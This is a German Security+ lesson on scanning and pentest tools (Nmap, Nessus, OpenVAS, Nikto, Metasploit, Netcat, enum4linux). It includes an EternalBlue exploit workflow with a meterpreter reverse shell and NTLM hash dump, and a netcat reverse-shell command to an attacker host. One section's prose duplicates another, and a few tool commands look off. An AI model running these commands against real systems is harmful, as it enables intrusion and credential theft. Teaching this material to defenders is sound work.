Gängige Scanning-Tools: Nessus, OpenVAS, Nmap
Machen Sie sich praxisnah mit branchenüblichen Tools zur Host-Erkennung, Portüberprüfung und Identifizierung von Schwachstellen vertraut.
Gängige Scanning-Tools: Nessus, OpenVAS, Nmap ist eine kostenlose Security+ Academy-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Security+ Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Security+ Academy-Kurs umfasst insgesamt 4 Lektionen.
Das Ökosystem der Scanning-Tools
Sicherheitsexperten verwenden für unterschiedliche Zwecke verschiedene Scanning-Tools: zur Erkennung von Hosts, zum Portscanning, zur Dienstaufzählung, zur Erkennung des Betriebssystems, zur Identifikation von Sicherheitslücken und zum Testen von Webanwendungen. Für Security+ wird erwartet, dass Sie mit den am weitesten verbreiteten Tools in jeder Kategorie vertraut sind. Wenn Sie verstehen, was die einzelnen Tools leisten – und was sie nicht leisten können –, können Sie für eine bestimmte Aufgabe das richtige Tool auswählen und Ergebnisse korrekt interpretieren. Die Ergebnisse mehrerer ergänzender Tools bieten eine vollständigere Abdeckung als jedes einzelne Tool.
Nmap: der Network Mapper
Nmap (Network Mapper) ist das meistgenutzte Open-Source-Tool zur Netzwerkerkennung und für Sicherheitsüberprüfungen. Es kann aktive Hosts erkennen, offene Ports aufzählen, laufende Dienste und deren Versionen ermitteln sowie das Betriebssystem identifizieren. Nmap verwendet verschiedene Scanning-Techniken, darunter SYN-Scan (der Standard, schnell und relativ unauffällig), TCP Connect (vollständiger Handshake, auffälliger, benötigt aber keine Root-Rechte), UDP-Scan und Versionsscan. Nmap enthält die Nmap Scripting Engine (NSE) mit Hunderten von Skripten zur Erkennung von Sicherheitslücken, zum Brute-Force-Angriff und zur Ausnutzung von Schwachstellen.
# Common Nmap scan types:
nmap -sS 192.168.1.0/24 # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10 # TCP connect scan
nmap -sU -p 53,67,161 target # UDP scan specific ports
nmap -sV 192.168.1.10 # version detection
nmap -O 192.168.1.10 # OS detection
nmap -A 192.168.1.10 # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10 # scan all 65535 ports
nmap --script vuln 192.168.1.10 # run vulnerability scriptsNmap-Ausgabe und deren Interpretation
Die korrekte Interpretation der Nmap-Ausgabe ist eine wichtige Fähigkeit. Jede Zeile steht für einen Port mit seinem Status (open: Ein Dienst lauscht, closed: Der Host hat geantwortet, aber kein Dienst lauscht, filtered: Keine Antwort oder ICMP nicht erreichbar, wahrscheinlich durch eine Firewall gefiltert), dem Protokoll und dem erkannten Dienst beziehungsweise seiner Version. Offene Ports stellen eine potenzielle Angriffsfläche dar. Unerwartete offene Ports auf einem Host können auf eine Kompromittierung oder nicht autorisierte Dienste hinweisen. Die Optionen -oN, -oX und -oG speichern die Ausgabe in den Formaten Normal, XML und grepbar. Das Speichern der Ausgabe ist für die Dokumentation und den Vergleich von Scans im Zeitverlauf entscheidend.
# Sample Nmap output:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu
# 80/tcp open http Apache 2.4.41
# 443/tcp open ssl/http Apache 2.4.41
# 8080/tcp open http Jetty 9.4.39
# 3306/tcp open mysql MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)
# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xmlNessus: Enterprise-Schwachstellenscanner
Nessus (von Tenable) ist der am weitesten verbreitete kommerzielle Schwachstellenscanner. Er verwendet eine Plugin-Architektur mit über 100.000 Plugins, die CVEs, Konfigurationsprüfungen, Compliance-Benchmarks (CIS, DISA STIG) und die Erkennung von Malware abdecken. Nessus führt authentifizierte Scans durch, indem es sich mit bereitgestellten Zugangsdaten an Systemen anmeldet, um installierte Softwareversionen, Registrierungsschlüssel und Konfigurationsdateien zu überprüfen. Dadurch entstehen wesentlich genauere Ergebnisse als bei nicht authentifizierten Netzwerkprüfungen. Nessus erstellt detaillierte Berichte mit CVSS-Scores, Beschreibungen der Sicherheitslücken und Empfehlungen zur Behebung. Die kostenlose Version Nessus Essentials scannt bis zu 16 IPs.
# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)
# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High (CVSS 7.0-8.9): privilege escalation, severe data exposure
# Medium (CVSS 4.0-6.9): local privilege escalation, information disclosure
# Low (CVSS 0.1-3.9): minimal impact, hardening issues
# Info: configuration data, no immediate riskOpenVAS: Open-Source-Schwachstellenscans
OpenVAS (Open Vulnerability Assessment System) ist ein kostenloser Open-Source-Schwachstellenscanner, der von Greenbone Networks betreut wird. Es handelt sich um den von der Community unterstützten Fork des ursprünglichen Nessus, bevor dieses kommerziell wurde. OpenVAS verwendet NVTs (Network Vulnerability Tests), die den Nessus-Plugins entsprechen. Die Greenbone Community Edition (GCE) bietet eine webbasierte Verwaltungsschnittstelle (Greenbone Security Assistant). OpenVAS ist in Umgebungen beliebt, in denen Lizenzkosten den Einsatz kommerzieller Tools verhindern. Es verfügt über einen größeren Funktionsumfang als Nmap und bleibt dabei kostenlos. Daher ist es eine häufige Wahl für kleinere Organisationen, akademische Umgebungen und Sicherheitslabore.
# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup # initial setup (takes time to download feeds)
gvm-start # start OpenVAS services
# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report
# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."Nikto: Schwachstellenscanner für Webserver
Nikto ist ein Open-Source-Scanner für Webserver, der nach gefährlichen Dateien, veralteten Softwareversionen, Problemen bei der Serverkonfiguration und häufigen Web-Sicherheitslücken sucht. Er prüft auf mehr als 6.700 bekannte Probleme, darunter unsichere HTTP-Methoden, fehlende Sicherheits-Header, offengelegte Administrationsschnittstellen, Standardzugangsdaten und häufige CGI-Sicherheitslücken. Nikto ist auffällig und nicht für unbemerkte Scans ausgelegt – auf dem Zielsystem erzeugt es umfangreiche Protokolleinträge. Es ergänzt Scanner auf Netzwerkebene durch webbezogene Prüfungen, die Nessus und OpenVAS möglicherweise nicht ausführlich abdecken. Verwenden Sie Nikto ausschließlich auf Systemen, für deren Prüfung Sie autorisiert sind.
# Nikto web scan examples:
nikto -h 192.168.1.10 # basic scan
nikto -h https://192.168.1.10 # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443 # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html # save report
# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)Metasploit Framework
Das Metasploit Framework ist die meistgenutzte Plattform für Penetrationstests und bietet eine Datenbank mit Exploits, Payloads, Hilfsmodulen und Tools für die Phase nach der erfolgreichen Ausnutzung. Für Security+-Kandidaten ist es wichtig zu verstehen, was Metasploit ist und welche Rolle es in einem Pentest spielt, auch wenn sie es noch nie verwendet haben. Zu den Metasploit-Modulen gehören: Exploits (Code, der eine Sicherheitslücke ausnutzt), Payloads (Shellcode, der nach erfolgreicher Ausnutzung ausgeführt wird, etwa Meterpreter), Hilfsmodule (Scanning, Fuzzing und Aufzählung ohne Ausnutzung) und Post-Module (zur Rechteausweitung, zum Auslesen von Zugangsdaten und für laterale Bewegungen nach dem ersten Zugriff).
# Metasploit Framework basic workflow:
msfconsole # start Metasploit
search eternalblue # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info # show exploit details
set RHOSTS 192.168.1.10 # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5 # attacker IP
run # execute exploit
# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump # dump NTLM hashesNetcat: das Schweizer Taschenmesser
Netcat (nc) ist ein einfaches, aber vielseitiges Dienstprogramm, das Daten über Netzwerkverbindungen mithilfe von TCP oder UDP liest und schreibt. Es bietet unzählige Einsatzmöglichkeiten in der Sicherheitsarbeit: das Einrichten von Reverse Shells auf kompromittierten Hosts, die Übertragung von Dateien über Netzwerksegmente hinweg, Portscans, das Erstellen einfacher Netzwerk-Listener zu Testzwecken sowie Banner-Grabbing zur Ermittlung von Dienstversionen. Seine Einfachheit und Verfügbarkeit auf nahezu jedem Linux-System machen es zu einem häufig verwendeten Werkzeug sowohl in der legitimen Administration als auch in den Toolkits von Angreifern. Daher ist es auch aus Sicht der Erkennung ein wichtiges Werkzeug, das Sie verstehen sollten.
# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22 # grab SSH banner
nc -v 192.168.1.10 80 # grab HTTP banner
# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded
# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash
# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender: nc receiver_ip 9999 < file.txtRecon-ng und OSINT-Tools
Enum4linux zählt Informationen von Windows-Hosts und Samba-Servern (Linux-SMB) mithilfe von Null-Sitzungen und MSRPC auf. Es extrahiert Benutzernamen, Gruppenmitgliedschaften, Freigaben, Kennwortrichtlinien und Informationen zur Arbeitsgruppe. Bei internen Penetrationstests kann enum4linux schnell die Benutzerkonten aufdecken, die für Password Spraying verfügbar sind, sowie die Freigabestruktur einer Umgebung. Moderne Windows-Versionen schränken den Zugriff über Null-Sitzungen standardmäßig ein, doch unzureichend konfigurierte Umgebungen geben häufig umfangreiche Informationen preis. Ähnliche Funktionen bieten samrdump.py aus Impacket und CrackMapExec für die authentifizierte Aufzählung.
# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com
# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com
# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'
# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin
# 5. Certificate transparency:
crt.sh/?q=%.example.com (reveals subdomains via certs)Netzwerkaufzählung mit Enum4linux
Enum4linux enumeriert Informationen von Windows-Hosts und Samba-Servern (Linux-SMB) mithilfe von Null-Sitzungen und MSRPC. Dabei werden Benutzernamen, Gruppenzugehörigkeiten, Freigaben, Kennwortrichtlinien und Arbeitsgruppeninformationen ausgelesen. Bei internen Penetrationstests kann enum4linux schnell die Benutzerkonten aufdecken, die für Password Spraying zur Verfügung stehen, sowie die Freigabestruktur einer Umgebung. Moderne Windows-Versionen schränken den Zugriff über Null-Sitzungen standardmäßig ein, doch in schlecht konfigurierten Umgebungen werden häufig umfangreiche Informationen offengelegt. Ähnliche Funktionen bieten Impackets samrdump.py und CrackMapExec für die authentifizierte Enumeration.
# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10 # all enumeration
enum4linux -U 192.168.1.10 # users only
enum4linux -S 192.168.1.10 # shares only
# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares
# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10Das richtige Werkzeug für die jeweilige Aufgabe auswählen
Sicherheitsexpertinnen und -experten wählen Werkzeuge passend zur jeweiligen Aufgabe aus. Für Host-Erkennung und Portscans: Nmap. Für die Identifizierung von Schwachstellen in großem Maßstab: Nessus (kommerziell) oder OpenVAS (kostenlos). Für Schwachstellen von Webservern: Nikto. Für Angriffe auf Webanwendungen: Burp Suite. Für Exploitation: Metasploit. Für die OSINT-Aufklärung: Recon-ng, theHarvester, Shodan. Für die Analyse des Netzwerkverkehrs: Wireshark, tcpdump. Für Angriffe auf Drahtlosnetzwerke: die Aircrack-ng-Suite. In der Security+-Prüfung wird konzeptionelles Wissen über diese Werkzeuge getestet — Sie sollten wissen, wofür jedes Werkzeug eingesetzt wird, auch wenn Sie nicht mit allen praktisch gearbeitet haben.
Kurze Überprüfung
Testen Sie Ihr Verständnis der CompTIA-Security+-Konzepte (SY0-701) aus dieser Lektion.
Zusammenfassung der Lektion
In dieser Lektion haben Sie gelernt: Nmap bildet die Grundlage für Host-Erkennung, Portscans und Versionserkennung und verfügt über eine leistungsfähige Skript-Engine für zusätzliche Funktionen; Nessus und OpenVAS führen umfassende Schwachstellenscans anhand bekannter CVEs durch, wobei der authentifizierte Zugriff die höchste Genauigkeit ermöglicht; und Metasploit stellt ein Exploit-Framework bereit, mit dem Penetrationstester bestätigen können, dass Schwachstellen tatsächlich ausnutzbar sind, und die realen Auswirkungen eines Angriffs demonstrieren können. Als Nächstes untersuchen wir den vollständigen Lebenszyklus eines Penetrationstests — von der Aufklärung bis zur Berichterstellung.
Häufig gestellte Fragen
Ist die Lektion „Gängige Scanning-Tools: Nessus, OpenVAS, Nmap“ kostenlos?
Ja — der vollständige Text von „Gängige Scanning-Tools: Nessus, OpenVAS, Nmap“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Security+ Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Security+ Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Gängige Scanning-Tools: Nessus, OpenVAS, Nmap“?
Machen Sie sich praxisnah mit branchenüblichen Tools zur Host-Erkennung, Portüberprüfung und Identifizierung von Schwachstellen vertraut. Du übst Security+ Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um Security+ Academy zu starten?
Keine Vorkenntnisse erforderlich. Security+ Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.
Wie lange dauert die Lektion „Gängige Scanning-Tools: Nessus, OpenVAS, Nmap“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser Security+ Academy-Lektion Code schreiben und ausführen?
Ja. Jede Security+ Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Schwachstellen-Scanning im Vergleich zu Penetrationstests
- Gängige Scanning-Tools: Nessus, OpenVAS, Nmap
- Phasen von Penetrationstests: Von der Aufklärung bis zum Bericht
- CVSS-Bewertung und Priorisierung von Schwachstellen